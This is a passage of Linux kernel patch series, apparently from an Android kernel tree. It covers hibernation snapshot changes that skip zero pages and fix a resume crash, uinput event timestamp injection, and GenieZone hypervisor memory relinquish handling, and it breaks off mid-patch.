From 7385b831077d6ca452b16f56d5784825d6b5ef06 Mon Sep 17 00:00:00 2001 From: Xueqin Luo Date: Fri, 11 Nov 2022 13:19:49 +0800 Subject: [PATCH 01/21] UPSTREAM: PM: hibernate: Complain about memory map mismatches during resume The system memory map can change over a hibernation-restore cycle due to a defect in the platform firmware, and some of the page frames used by the kernel before hibernation may not be available any more during the subsequent restore which leads to the error below. [ T357] PM: Image loading progress: 0% [ T357] PM: Read 2681596 kbytes in 0.03 seconds (89386.53 MB/s) [ T357] PM: Error -14 resuming [ T357] PM: Failed to load hibernation image, recovering. [ T357] PM: Basic memory bitmaps freed [ T357] OOM killer enabled. [ T357] Restarting tasks ... done. [ T357] PM: resume from hibernation failed (-14) [ T357] PM: Hibernation image not present or could not be loaded. Add an error message to the unpack() function to allow problematic page frames to be identified and the source of the problem to be diagnosed more easily. This can save developers quite a bit of debugging time. Bug: 311131385 (cherry picked from commit 3363e0adb3931e987caa6404327b35ea2db231d8 git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git) Signed-off-by: Xueqin Luo [ rjw: New subject, edited changelog ] Signed-off-by: Rafael J. Wysocki Change-Id: I8283510db3d3217f679e3cda0c0991f3b9437c18 Signed-off-by: Pavankumar Kondeti Signed-off-by: Mukesh Pilaniya --- kernel/power/snapshot.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/kernel/power/snapshot.c b/kernel/power/snapshot.c index 16cceb3c82ad..9898af32639d 100644 --- a/kernel/power/snapshot.c +++ b/kernel/power/snapshot.c @@ -2260,10 +2260,14 @@ static int unpack_orig_pfns(unsigned long *buf, struct memory_bitmap *bm) if (unlikely(buf[j] == BM_END_OF_MAP)) break; - if (pfn_valid(buf[j]) && memory_bm_pfn_present(bm, buf[j])) + if (pfn_valid(buf[j]) && memory_bm_pfn_present(bm, buf[j])) { memory_bm_set_bit(bm, buf[j]); - else + } else { + if (!pfn_valid(buf[j])) + pr_err(FW_BUG "Memory map mismatch at 0x%llx after hibernation\n", + (unsigned long long)PFN_PHYS(buf[j])); return -EFAULT; + } } return 0; From 7181d45e36b38e6a4270bfb68c73b18abb9cf611 Mon Sep 17 00:00:00 2001 From: Brian Geffon Date: Fri, 14 Jul 2023 13:55:05 -0400 Subject: [PATCH 02/21] UPSTREAM: PM: hibernate: don't store zero pages in the image file On ChromeOS we've observed a considerable number of in-use pages filled with zeros. Today with hibernate it's entirely possible that saveable pages are just zero filled. Since we're already copying pages word-by-word in do_copy_page it becomes almost free to determine if a page was completely filled with zeros. This change introduces a new bitmap which will track these zero pages. If a page is zero it will not be included in the saved image, instead to track these zero pages in the image file we will introduce a new flag which we will set on the packed PFN list. When reading back in the image file we will detect these zero page PFNs and rebuild the zero page bitmap. When the image is being loaded through calls to write_next_page if we encounter a zero page we will silently memset it to 0 and then continue on to the next page. Given the implementation in snapshot_read_next/snapshot_write_next this change will be transparent to non-compressed/compressed and swsusp modes of operation. To provide some concrete numbers from simple ad-hoc testing, on a device which was lightly in use we saw that: PM: hibernation: Image created (964408 pages copied, 548304 zero pages) Of the approximately 6.2GB of saveable pages 2.2GB (36%) were just zero filled and could be tracked entirely within the packed PFN list. The savings would obviously be much lower for lzo compressed images, but even in the case of compression not copying pages across to the compression threads will still speed things up. It's also possible that we would see better overall compression ratios as larger regions of "real data" would improve the compressibility. Finally, such an approach could dramatically improve swsusp performance as each one of those zero pages requires a write syscall to reload, by handling it as part of the packed PFN list we're able to fully avoid that. Bug: 311131385 (cherry picked from commit 005e8dddd4978f6243820d031987056a1a88a2dd git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git master) Signed-off-by: Brian Geffon [ rjw: Whitespace adjustments, removal of redundant parentheses ] Signed-off-by: Rafael J. Wysocki Change-Id: Ia42a965d10e3a9e3760c29eb1a31b48c575297b9 Signed-off-by: Pavankumar Kondeti Signed-off-by: Mukesh Pilaniya --- kernel/power/snapshot.c | 187 ++++++++++++++++++++++++++++++++-------- 1 file changed, 149 insertions(+), 38 deletions(-) diff --git a/kernel/power/snapshot.c b/kernel/power/snapshot.c index 9898af32639d..968230baf6ea 100644 --- a/kernel/power/snapshot.c +++ b/kernel/power/snapshot.c @@ -404,6 +404,7 @@ struct bm_position { struct mem_zone_bm_rtree *zone; struct rtree_node *node; unsigned long node_pfn; + unsigned long cur_pfn; int node_bit; }; @@ -589,6 +590,7 @@ static void memory_bm_position_reset(struct memory_bitmap *bm) bm->cur.node = list_entry(bm->cur.zone->leaves.next, struct rtree_node, list); bm->cur.node_pfn = 0; + bm->cur.cur_pfn = BM_END_OF_MAP; bm->cur.node_bit = 0; } @@ -799,6 +801,7 @@ node_found: bm->cur.zone = zone; bm->cur.node = node; bm->cur.node_pfn = (pfn - zone->start_pfn) & ~BM_BLOCK_MASK; + bm->cur.cur_pfn = pfn; /* Set return values */ *addr = node->data; @@ -850,6 +853,11 @@ static void memory_bm_clear_current(struct memory_bitmap *bm) clear_bit(bit, bm->cur.node->data); } +static unsigned long memory_bm_get_current(struct memory_bitmap *bm) +{ + return bm->cur.cur_pfn; +} + static int memory_bm_test_bit(struct memory_bitmap *bm, unsigned long pfn) { void *addr; @@ -929,10 +937,12 @@ static unsigned long memory_bm_next_pfn(struct memory_bitmap *bm) if (bit < bits) { pfn = bm->cur.zone->start_pfn + bm->cur.node_pfn + bit; bm->cur.node_bit = bit + 1; + bm->cur.cur_pfn = pfn; return pfn; } } while (rtree_next_node(bm)); + bm->cur.cur_pfn = BM_END_OF_MAP; return BM_END_OF_MAP; } @@ -1371,14 +1381,19 @@ static unsigned int count_data_pages(void) /* * This is needed, because copy_page and memcpy are not usable for copying - * task structs. + * task structs. Returns true if the page was filled with only zeros, + * otherwise false. */ -static inline void do_copy_page(long *dst, long *src) +static inline bool do_copy_page(long *dst, long *src) { + long z = 0; int n; - for (n = PAGE_SIZE / sizeof(long); n; n--) + for (n = PAGE_SIZE / sizeof(long); n; n--) { + z |= *src; *dst++ = *src++; + } + return !z; } /** @@ -1387,17 +1402,21 @@ static inline void do_copy_page(long *dst, long *src) * Check if the page we are going to copy is marked as present in the kernel * page tables. This always is the case if CONFIG_DEBUG_PAGEALLOC or * CONFIG_ARCH_HAS_SET_DIRECT_MAP is not set. In that case kernel_page_present() - * always returns 'true'. + * always returns 'true'. Returns true if the page was entirely composed of + * zeros, otherwise it will return false. */ -static void safe_copy_page(void *dst, struct page *s_page) +static bool safe_copy_page(void *dst, struct page *s_page) { + bool zeros_only; + if (kernel_page_present(s_page)) { - do_copy_page(dst, page_address(s_page)); + zeros_only = do_copy_page(dst, page_address(s_page)); } else { hibernate_map_page(s_page); - do_copy_page(dst, page_address(s_page)); + zeros_only = do_copy_page(dst, page_address(s_page)); hibernate_unmap_page(s_page); } + return zeros_only; } #ifdef CONFIG_HIGHMEM @@ -1407,17 +1426,18 @@ static inline struct page *page_is_saveable(struct zone *zone, unsigned long pfn saveable_highmem_page(zone, pfn) : saveable_page(zone, pfn); } -static void copy_data_page(unsigned long dst_pfn, unsigned long src_pfn) +static bool copy_data_page(unsigned long dst_pfn, unsigned long src_pfn) { struct page *s_page, *d_page; void *src, *dst; + bool zeros_only; s_page = pfn_to_page(src_pfn); d_page = pfn_to_page(dst_pfn); if (PageHighMem(s_page)) { src = kmap_atomic(s_page); dst = kmap_atomic(d_page); - do_copy_page(dst, src); + zeros_only = do_copy_page(dst, src); kunmap_atomic(dst); kunmap_atomic(src); } else { @@ -1426,30 +1446,39 @@ static void copy_data_page(unsigned long dst_pfn, unsigned long src_pfn) * The page pointed to by src may contain some kernel * data modified by kmap_atomic() */ - safe_copy_page(buffer, s_page); + zeros_only = safe_copy_page(buffer, s_page); dst = kmap_atomic(d_page); copy_page(dst, buffer); kunmap_atomic(dst); } else { - safe_copy_page(page_address(d_page), s_page); + zeros_only = safe_copy_page(page_address(d_page), s_page); } } + return zeros_only; } #else #define page_is_saveable(zone, pfn) saveable_page(zone, pfn) -static inline void copy_data_page(unsigned long dst_pfn, unsigned long src_pfn) +static inline int copy_data_page(unsigned long dst_pfn, unsigned long src_pfn) { - safe_copy_page(page_address(pfn_to_page(dst_pfn)), + return safe_copy_page(page_address(pfn_to_page(dst_pfn)), pfn_to_page(src_pfn)); } #endif /* CONFIG_HIGHMEM */ -static void copy_data_pages(struct memory_bitmap *copy_bm, - struct memory_bitmap *orig_bm) +/* + * Copy data pages will copy all pages into pages pulled from the copy_bm. + * If a page was entirely filled with zeros it will be marked in the zero_bm. + * + * Returns the number of pages copied. + */ +static unsigned long copy_data_pages(struct memory_bitmap *copy_bm, + struct memory_bitmap *orig_bm, + struct memory_bitmap *zero_bm) { + unsigned long copied_pages = 0; struct zone *zone; - unsigned long pfn; + unsigned long pfn, copy_pfn; for_each_populated_zone(zone) { unsigned long max_zone_pfn; @@ -1462,18 +1491,29 @@ static void copy_data_pages(struct memory_bitmap *copy_bm, } memory_bm_position_reset(orig_bm); memory_bm_position_reset(copy_bm); + copy_pfn = memory_bm_next_pfn(copy_bm); for(;;) { pfn = memory_bm_next_pfn(orig_bm); if (unlikely(pfn == BM_END_OF_MAP)) break; - copy_data_page(memory_bm_next_pfn(copy_bm), pfn); + if (copy_data_page(copy_pfn, pfn)) { + memory_bm_set_bit(zero_bm, pfn); + /* Use this copy_pfn for a page that is not full of zeros */ + continue; + } + copied_pages++; + copy_pfn = memory_bm_next_pfn(copy_bm); } + return copied_pages; } /* Total number of image pages */ static unsigned int nr_copy_pages; /* Number of pages needed for saving the original pfns of the image pages */ static unsigned int nr_meta_pages; +/* Number of zero pages */ +static unsigned int nr_zero_pages; + /* * Numbers of normal and highmem page frames allocated for hibernation image * before suspending devices. @@ -1494,6 +1534,9 @@ static struct memory_bitmap orig_bm; */ static struct memory_bitmap copy_bm; +/* Memory bitmap which tracks which saveable pages were zero filled. */ +static struct memory_bitmap zero_bm; + /** * swsusp_free - Free pages allocated for hibernation image. * @@ -1538,6 +1581,7 @@ loop: out: nr_copy_pages = 0; nr_meta_pages = 0; + nr_zero_pages = 0; restore_pblist = NULL; buffer = NULL; alloc_normal = 0; @@ -1756,8 +1800,15 @@ int hibernate_preallocate_memory(void) goto err_out; } + error = memory_bm_create(&zero_bm, GFP_IMAGE, PG_ANY); + if (error) { + pr_err("Cannot allocate zero bitmap\n"); + goto err_out; + } + alloc_normal = 0; alloc_highmem = 0; + nr_zero_pages = 0; /* Count the number of saveable data pages. */ save_highmem = count_highmem_pages(); @@ -2037,19 +2088,19 @@ asmlinkage __visible int swsusp_save(void) * Kill them. */ drain_local_pages(NULL); - copy_data_pages(©_bm, &orig_bm); + nr_copy_pages = copy_data_pages(©_bm, &orig_bm, &zero_bm); /* * End of critical section. From now on, we can write to memory, * but we should not touch disk. This specially means we must _not_ * touch swap space! Except we must write out our image of course. */ - nr_pages += nr_highmem; - nr_copy_pages = nr_pages; + /* We don't actually copy the zero pages */ + nr_zero_pages = nr_pages - nr_copy_pages; nr_meta_pages = DIV_ROUND_UP(nr_pages * sizeof(long), PAGE_SIZE); - pr_info("Image created (%d pages copied)\n", nr_pages); + pr_info("Image created (%d pages copied, %d zero pages)\n", nr_copy_pages, nr_zero_pages); return 0; } @@ -2095,15 +2146,22 @@ static int init_header(struct swsusp_info *info) return init_header_complete(info); } +#define ENCODED_PFN_ZERO_FLAG ((unsigned long)1 << (BITS_PER_LONG - 1)) +#define ENCODED_PFN_MASK (~ENCODED_PFN_ZERO_FLAG) + /** * pack_pfns - Prepare PFNs for saving. * @bm: Memory bitmap. * @buf: Memory buffer to store the PFNs in. + * @zero_bm: Memory bitmap containing PFNs of zero pages. * * PFNs corresponding to set bits in @bm are stored in the area of memory - * pointed to by @buf (1 page at a time). + * pointed to by @buf (1 page at a time). Pages which were filled with only + * zeros will have the highest bit set in the packed format to distinguish + * them from PFNs which will be contained in the image file. */ -static inline void pack_pfns(unsigned long *buf, struct memory_bitmap *bm) +static inline void pack_pfns(unsigned long *buf, struct memory_bitmap *bm, + struct memory_bitmap *zero_bm) { int j; @@ -2111,6 +2169,8 @@ static inline void pack_pfns(unsigned long *buf, struct memory_bitmap *bm) buf[j] = memory_bm_next_pfn(bm); if (unlikely(buf[j] == BM_END_OF_MAP)) break; + if (memory_bm_test_bit(zero_bm, buf[j])) + buf[j] |= ENCODED_PFN_ZERO_FLAG; } } @@ -2152,7 +2212,7 @@ int snapshot_read_next(struct snapshot_handle *handle) memory_bm_position_reset(©_bm); } else if (handle->cur <= nr_meta_pages) { clear_page(buffer); - pack_pfns(buffer, &orig_bm); + pack_pfns(buffer, &orig_bm, &zero_bm); } else { struct page *page; @@ -2248,24 +2308,35 @@ static int load_header(struct swsusp_info *info) * unpack_orig_pfns - Set bits corresponding to given PFNs in a memory bitmap. * @bm: Memory bitmap. * @buf: Area of memory containing the PFNs. + * @zero_bm: Memory bitmap with the zero PFNs marked. * * For each element of the array pointed to by @buf (1 page at a time), set the - * corresponding bit in @bm. + * corresponding bit in @bm. If the page was originally populated with only + * zeros then a corresponding bit will also be set in @zero_bm. */ -static int unpack_orig_pfns(unsigned long *buf, struct memory_bitmap *bm) +static int unpack_orig_pfns(unsigned long *buf, struct memory_bitmap *bm, + struct memory_bitmap *zero_bm) { + unsigned long decoded_pfn; + bool zero; int j; for (j = 0; j < PAGE_SIZE / sizeof(long); j++) { if (unlikely(buf[j] == BM_END_OF_MAP)) break; - if (pfn_valid(buf[j]) && memory_bm_pfn_present(bm, buf[j])) { - memory_bm_set_bit(bm, buf[j]); + zero = !!(buf[j] & ENCODED_PFN_ZERO_FLAG); + decoded_pfn = buf[j] & ENCODED_PFN_MASK; + if (pfn_valid(decoded_pfn) && memory_bm_pfn_present(bm, decoded_pfn)) { + memory_bm_set_bit(bm, decoded_pfn); + if (zero) { + memory_bm_set_bit(zero_bm, decoded_pfn); + nr_zero_pages++; + } } else { - if (!pfn_valid(buf[j])) + if (!pfn_valid(decoded_pfn)) pr_err(FW_BUG "Memory map mismatch at 0x%llx after hibernation\n", - (unsigned long long)PFN_PHYS(buf[j])); + (unsigned long long)PFN_PHYS(decoded_pfn)); return -EFAULT; } } @@ -2487,6 +2558,7 @@ static inline void free_highmem_data(void) {} * prepare_image - Make room for loading hibernation image. * @new_bm: Uninitialized memory bitmap structure. * @bm: Memory bitmap with unsafe pages marked. + * @zero_bm: Memory bitmap containing the zero pages. * * Use @bm to mark the pages that will be overwritten in the process of * restoring the system memory state from the suspend image ("unsafe" pages) @@ -2497,10 +2569,15 @@ static inline void free_highmem_data(void) {} * pages will be used for just yet. Instead, we mark them all as allocated and * create a lists of "safe" pages to be used later. On systems with high * memory a list of "safe" highmem pages is created too. + * + * Because it was not known which pages were unsafe when @zero_bm was created, + * make a copy of it and recreate it within safe pages. */ -static int prepare_image(struct memory_bitmap *new_bm, struct memory_bitmap *bm) +static int prepare_image(struct memory_bitmap *new_bm, struct memory_bitmap *bm, + struct memory_bitmap *zero_bm) { unsigned int nr_pages, nr_highmem; + struct memory_bitmap tmp; struct linked_page *lp; int error; @@ -2517,6 +2594,24 @@ static int prepare_image(struct memory_bitmap *new_bm, struct memory_bitmap *bm) duplicate_memory_bitmap(new_bm, bm); memory_bm_free(bm, PG_UNSAFE_KEEP); + + /* Make a copy of zero_bm so it can be created in safe pages */ + error = memory_bm_create(&tmp, GFP_ATOMIC, PG_ANY); + if (error) + goto Free; + + duplicate_memory_bitmap(&tmp, zero_bm); + memory_bm_free(zero_bm, PG_UNSAFE_KEEP); + + /* Recreate zero_bm in safe pages */ + error = memory_bm_create(zero_bm, GFP_ATOMIC, PG_SAFE); + if (error) + goto Free; + + duplicate_memory_bitmap(zero_bm, &tmp); + memory_bm_free(&tmp, PG_UNSAFE_KEEP); + /* At this point zero_bm is in safe pages and it can be used for restoring. */ + if (nr_highmem > 0) { error = prepare_highmem_image(bm, &nr_highmem); if (error) @@ -2531,7 +2626,7 @@ static int prepare_image(struct memory_bitmap *new_bm, struct memory_bitmap *bm) * * nr_copy_pages cannot be less than allocated_unsafe_pages too. */ - nr_pages = nr_copy_pages - nr_highmem - allocated_unsafe_pages; + nr_pages = (nr_zero_pages + nr_copy_pages) - nr_highmem - allocated_unsafe_pages; nr_pages = DIV_ROUND_UP(nr_pages, PBES_PER_LINKED_PAGE); while (nr_pages > 0) { lp = get_image_page(GFP_ATOMIC, PG_SAFE); @@ -2544,7 +2639,7 @@ static int prepare_image(struct memory_bitmap *new_bm, struct memory_bitmap *bm) nr_pages--; } /* Preallocate memory for the image */ - nr_pages = nr_copy_pages - nr_highmem - allocated_unsafe_pages; + nr_pages = (nr_zero_pages + nr_copy_pages) - nr_highmem - allocated_unsafe_pages; while (nr_pages > 0) { lp = (struct linked_page *)get_zeroed_page(GFP_ATOMIC); if (!lp) { @@ -2632,8 +2727,9 @@ int snapshot_write_next(struct snapshot_handle *handle) static struct chain_allocator ca; int error = 0; +next: /* Check if we have already loaded the entire image */ - if (handle->cur > 1 && handle->cur > nr_meta_pages + nr_copy_pages) + if (handle->cur > 1 && handle->cur > nr_meta_pages + nr_copy_pages + nr_zero_pages) return 0; handle->sync_read = 1; @@ -2658,19 +2754,26 @@ int snapshot_write_next(struct snapshot_handle *handle) if (error) return error; + error = memory_bm_create(&zero_bm, GFP_ATOMIC, PG_ANY); + if (error) + return error; + + nr_zero_pages = 0; + hibernate_restore_protection_begin(); } else if (handle->cur <= nr_meta_pages + 1) { - error = unpack_orig_pfns(buffer, ©_bm); + error = unpack_orig_pfns(buffer, ©_bm, &zero_bm); if (error) return error; if (handle->cur == nr_meta_pages + 1) { - error = prepare_image(&orig_bm, ©_bm); + error = prepare_image(&orig_bm, ©_bm, &zero_bm); if (error) return error; chain_init(&ca, GFP_ATOMIC, PG_SAFE); memory_bm_position_reset(&orig_bm); + memory_bm_position_reset(&zero_bm); restore_pblist = NULL; handle->buffer = get_buffer(&orig_bm, &ca); handle->sync_read = 0; @@ -2687,6 +2790,14 @@ int snapshot_write_next(struct snapshot_handle *handle) handle->sync_read = 0; } handle->cur++; + + /* Zero pages were not included in the image, memset it and move on. */ + if (handle->cur > nr_meta_pages + 1 && + memory_bm_test_bit(&zero_bm, memory_bm_get_current(&orig_bm))) { + memset(handle->buffer, 0, PAGE_SIZE); + goto next; + } + return PAGE_SIZE; } @@ -2703,7 +2814,7 @@ void snapshot_write_finalize(struct snapshot_handle *handle) copy_last_highmem_page(); hibernate_restore_protect_page(handle->buffer); /* Do that only if we have loaded the image entirely */ - if (handle->cur > 1 && handle->cur > nr_meta_pages + nr_copy_pages) { + if (handle->cur > 1 && handle->cur > nr_meta_pages + nr_copy_pages + nr_zero_pages) { memory_bm_recycle(&orig_bm); free_highmem_data(); } @@ -2712,7 +2823,7 @@ void snapshot_write_finalize(struct snapshot_handle *handle) int snapshot_image_loaded(struct snapshot_handle *handle) { return !(!nr_copy_pages || !last_highmem_page_copied() || - handle->cur <= nr_meta_pages + nr_copy_pages); + handle->cur <= nr_meta_pages + nr_copy_pages + nr_zero_pages); } #ifdef CONFIG_HIGHMEM From df6e6fc38f4f8630d1bf6008fa4d5c3f312d2462 Mon Sep 17 00:00:00 2001 From: Pavankumar Kondeti Date: Wed, 4 Oct 2023 10:31:15 +0530 Subject: [PATCH 03/21] UPSTREAM: PM: hibernate: Fix copying the zero bitmap to safe pages The following crash is observed 100% of the time during resume from the hibernation on a x86 QEMU system. [ 12.931887] ? __die_body+0x1a/0x60 [ 12.932324] ? page_fault_oops+0x156/0x420 [ 12.932824] ? search_exception_tables+0x37/0x50 [ 12.933389] ? fixup_exception+0x21/0x300 [ 12.933889] ? exc_page_fault+0x69/0x150 [ 12.934371] ? asm_exc_page_fault+0x26/0x30 [ 12.934869] ? get_buffer.constprop.0+0xac/0x100 [ 12.935428] snapshot_write_next+0x7c/0x9f0 [ 12.935929] ? submit_bio_noacct_nocheck+0x2c2/0x370 [ 12.936530] ? submit_bio_noacct+0x44/0x2c0 [ 12.937035] ? hib_submit_io+0xa5/0x110 [ 12.937501] load_image+0x83/0x1a0 [ 12.937919] swsusp_read+0x17f/0x1d0 [ 12.938355] ? create_basic_memory_bitmaps+0x1b7/0x240 [ 12.938967] load_image_and_restore+0x45/0xc0 [ 12.939494] software_resume+0x13c/0x180 [ 12.939994] resume_store+0xa3/0x1d0 The commit being fixed introduced a bug in copying the zero bitmap to safe pages. A temporary bitmap is allocated with PG_ANY flag in prepare_image() to make a copy of zero bitmap after the unsafe pages are marked. Freeing this temporary bitmap with PG_UNSAFE_KEEP later results in an inconsistent state of unsafe pages. Since free bit is left as is for this temporary bitmap after free, these pages are treated as unsafe pages when they are allocated again. This results in incorrect calculation of the number of pages pre-allocated for the image. nr_pages = (nr_zero_pages + nr_copy_pages) - nr_highmem - allocated_unsafe_pages; The allocate_unsafe_pages is estimated to be higher than the actual which results in running short of pages in safe_pages_list. Hence the crash is observed in get_buffer() due to NULL pointer access of safe_pages_list. Fix this issue by creating the temporary zero bitmap from safe pages (free bit not set) so that the corresponding free bits can be cleared while freeing this bitmap. Bug: 311131385 (cherry picked from commit b21f18ef964b2c71aa0b451df6d17b7bcad8280d git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git master) Fixes: 005e8dddd497 ("PM: hibernate: don't store zero pages in the image file") Suggested-by:: Brian Geffon Signed-off-by: Pavankumar Kondeti Reviewed-by: Brian Geffon Signed-off-by: Rafael J. Wysocki Change-Id: Id68699710e40c5e8eec227bfe0d8311c1e788d5e Signed-off-by: Pavankumar Kondeti Signed-off-by: Mukesh Pilaniya --- kernel/power/snapshot.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/kernel/power/snapshot.c b/kernel/power/snapshot.c index 968230baf6ea..45ff0bb675fe 100644 --- a/kernel/power/snapshot.c +++ b/kernel/power/snapshot.c @@ -2596,7 +2596,7 @@ static int prepare_image(struct memory_bitmap *new_bm, struct memory_bitmap *bm, memory_bm_free(bm, PG_UNSAFE_KEEP); /* Make a copy of zero_bm so it can be created in safe pages */ - error = memory_bm_create(&tmp, GFP_ATOMIC, PG_ANY); + error = memory_bm_create(&tmp, GFP_ATOMIC, PG_SAFE); if (error) goto Free; @@ -2609,7 +2609,7 @@ static int prepare_image(struct memory_bitmap *new_bm, struct memory_bitmap *bm, goto Free; duplicate_memory_bitmap(zero_bm, &tmp); - memory_bm_free(&tmp, PG_UNSAFE_KEEP); + memory_bm_free(&tmp, PG_UNSAFE_CLEAR); /* At this point zero_bm is in safe pages and it can be used for restoring. */ if (nr_highmem > 0) { From c57b152c45cd71b48fe9c1ee2f957fc7060830d6 Mon Sep 17 00:00:00 2001 From: Biswarup Pal Date: Mon, 1 May 2023 20:19:19 -0700 Subject: [PATCH 04/21] FROMGIT: Input: uinput - allow injecting event times Currently, uinput doesn't use the input_set_timestamp API, so any event injected using uinput is not accurately timestamped in terms of measuring when the actual event happened. Hence, call the input_set_timestamp API from uinput in order to provide a more accurate sense of time for the event. Propagate only the timestamps which are a) positive, b) within a pre-defined offset (10 secs) from the current time, and c) not in the future. Bug: 271946580 Bug: 277040837 Change-Id: I928be61d0114b78e2098995ee49eeb0376bef2a3 (cherry picked from commit 3a2df60200a03f78173f1fd831aa54c08464dcde https://git.kernel.org/pub/scm/linux/kernel/git/dtor/input.git master) Signed-off-by: Biswarup Pal Reviewed-by: Peter Hutterer Reviewed-by: Siarhei Vishniakou Link: https://lore.kernel.org/r/20230427000152.1407471-1-biswarupp@google.com Signed-off-by: Dmitry Torokhov (cherry picked from commit ee1f5fc55cc7bf1bca78edbb8a1f9d989d4ea03e) --- drivers/input/misc/uinput.c | 34 ++++++++++++++++++++++++++++++++++ 1 file changed, 34 insertions(+) diff --git a/drivers/input/misc/uinput.c b/drivers/input/misc/uinput.c index f2593133e524..d98212d55108 100644 --- a/drivers/input/misc/uinput.c +++ b/drivers/input/misc/uinput.c @@ -33,6 +33,7 @@ #define UINPUT_NAME "uinput" #define UINPUT_BUFFER_SIZE 16 #define UINPUT_NUM_REQUESTS 16 +#define UINPUT_TIMESTAMP_ALLOWED_OFFSET_SECS 10 enum uinput_state { UIST_NEW_DEVICE, UIST_SETUP_COMPLETE, UIST_CREATED }; @@ -569,11 +570,40 @@ static int uinput_setup_device_legacy(struct uinput_device *udev, return retval; } +/* + * Returns true if the given timestamp is valid (i.e., if all the following + * conditions are satisfied), false otherwise. + * 1) given timestamp is positive + * 2) it's within the allowed offset before the current time + * 3) it's not in the future + */ +static bool is_valid_timestamp(const ktime_t timestamp) +{ + ktime_t zero_time; + ktime_t current_time; + ktime_t min_time; + ktime_t offset; + + zero_time = ktime_set(0, 0); + if (ktime_compare(zero_time, timestamp) >= 0) + return false; + + current_time = ktime_get(); + offset = ktime_set(UINPUT_TIMESTAMP_ALLOWED_OFFSET_SECS, 0); + min_time = ktime_sub(current_time, offset); + + if (ktime_after(min_time, timestamp) || ktime_after(timestamp, current_time)) + return false; + + return true; +} + static ssize_t uinput_inject_events(struct uinput_device *udev, const char __user *buffer, size_t count) { struct input_event ev; size_t bytes = 0; + ktime_t timestamp; if (count != 0 && count < input_event_size()) return -EINVAL; @@ -588,6 +618,10 @@ static ssize_t uinput_inject_events(struct uinput_device *udev, if (input_event_from_user(buffer + bytes, &ev)) return -EFAULT; + timestamp = ktime_set(ev.input_event_sec, ev.input_event_usec * NSEC_PER_USEC); + if (is_valid_timestamp(timestamp)) + input_set_timestamp(udev->dev, timestamp); + input_event(udev->dev, ev.type, ev.code, ev.value); bytes += input_event_size(); cond_resched(); From 3ee517981de1c1915509c811d3cb583c930f8dff Mon Sep 17 00:00:00 2001 From: Yi-De Wu Date: Wed, 4 Oct 2023 16:53:44 +0800 Subject: [PATCH 05/21] FROMLIST: virt: geniezone: Add memory relinquish support Unpin the pages when VM relinquish the pages or is destroyed. Change-Id: I9729f6ea93fee50a812dd43016754fdf812daa74 Signed-off-by: Jerry Wang Signed-off-by: Yingshiuan Pan Signed-off-by: Liju-Clr Chen Signed-off-by: Yi-De Wu Bug: 301179926 Link: https://lore.kernel.org/all/20231116152756.4250-17-yi-de.wu@mediatek.com/ --- drivers/virt/geniezone/gzvm_exception.c | 23 +++++++++++++++ drivers/virt/geniezone/gzvm_mmu.c | 37 +++++++++++++++++++++++++ drivers/virt/geniezone/gzvm_vcpu.c | 6 ++-- include/linux/gzvm_drv.h | 2 ++ include/uapi/linux/gzvm.h | 5 ++++ 5 files changed, 71 insertions(+), 2 deletions(-) diff --git a/drivers/virt/geniezone/gzvm_exception.c b/drivers/virt/geniezone/gzvm_exception.c index 31fdb4ae8db4..af26d1c82791 100644 --- a/drivers/virt/geniezone/gzvm_exception.c +++ b/drivers/virt/geniezone/gzvm_exception.c @@ -37,3 +37,26 @@ bool gzvm_handle_guest_exception(struct gzvm_vcpu *vcpu) else return false; } + +/** + * gzvm_handle_guest_hvc() - Handle guest hvc + * @vcpu: Pointer to struct gzvm_vcpu struct + * Return: + * * true - This hvc has been processed, no need to back to VMM. + * * false - This hvc has not been processed, require userspace. + */ +bool gzvm_handle_guest_hvc(struct gzvm_vcpu *vcpu) +{ + unsigned long ipa; + int ret; + + switch (vcpu->run->hypercall.args[0]) { + case GZVM_HVC_MEM_RELINQUISH: + ipa = vcpu->run->hypercall.args[1]; + ret = gzvm_handle_relinquish(vcpu, ipa); + return (ret == 0) ? true : false; + default: + break; + } + return false; +} diff --git a/drivers/virt/geniezone/gzvm_mmu.c b/drivers/virt/geniezone/gzvm_mmu.c index c4421ca294c8..1b6e232c1c59 100644 --- a/drivers/virt/geniezone/gzvm_mmu.c +++ b/drivers/virt/geniezone/gzvm_mmu.c @@ -123,6 +123,16 @@ static int cmp_ppages(struct rb_node *node, const struct rb_node *parent) return 0; } +static int rb_ppage_cmp(const void *key, const struct rb_node *node) +{ + struct gzvm_pinned_page *p = container_of(node, + struct gzvm_pinned_page, + node); + phys_addr_t ipa = (phys_addr_t)key; + + return (ipa < p->ipa) ? -1 : (ipa > p->ipa); +} + static int gzvm_insert_ppage(struct gzvm *vm, struct gzvm_pinned_page *ppage) { if (rb_find_add(&ppage->node, &vm->pinned_pages, cmp_ppages)) @@ -157,6 +167,33 @@ static int pin_one_page(struct gzvm *vm, unsigned long hva, u64 gpa) return 0; } +/** + * gzvm_handle_relinquish() - Handle memory relinquish request from hypervisor + * + * @vcpu: Pointer to struct gzvm_vcpu_run in userspace + * @ipa: Start address(gpa) of a reclaimed page + * + * Return: Always return 0 because there are no cases of failure + */ +int gzvm_handle_relinquish(struct gzvm_vcpu *vcpu, phys_addr_t ipa) +{ + struct gzvm_pinned_page *ppage; + struct rb_node *node; + struct gzvm *vm = vcpu->gzvm; + + node = rb_find((void *)ipa, &vm->pinned_pages, rb_ppage_cmp); + + if (node) + rb_erase(node, &vm->pinned_pages); + else + return 0; + + ppage = container_of(node, struct gzvm_pinned_page, node); + unpin_user_pages_dirty_lock(&ppage->page, 1, true); + kfree(ppage); + return 0; +} + static int handle_block_demand_page(struct gzvm *vm, int memslot_id, u64 gfn) { unsigned long hva; diff --git a/drivers/virt/geniezone/gzvm_vcpu.c b/drivers/virt/geniezone/gzvm_vcpu.c index 455ae2e4285c..86c690749277 100644 --- a/drivers/virt/geniezone/gzvm_vcpu.c +++ b/drivers/virt/geniezone/gzvm_vcpu.c @@ -113,12 +113,14 @@ static long gzvm_vcpu_run(struct gzvm_vcpu *vcpu, void __user *argp) * it's geniezone's responsibility to fill corresponding data * structure */ + case GZVM_EXIT_HYPERCALL: + if (!gzvm_handle_guest_hvc(vcpu)) + need_userspace = true; + break; case GZVM_EXIT_EXCEPTION: if (!gzvm_handle_guest_exception(vcpu)) need_userspace = true; break; - case GZVM_EXIT_HYPERCALL: - fallthrough; case GZVM_EXIT_DEBUG: 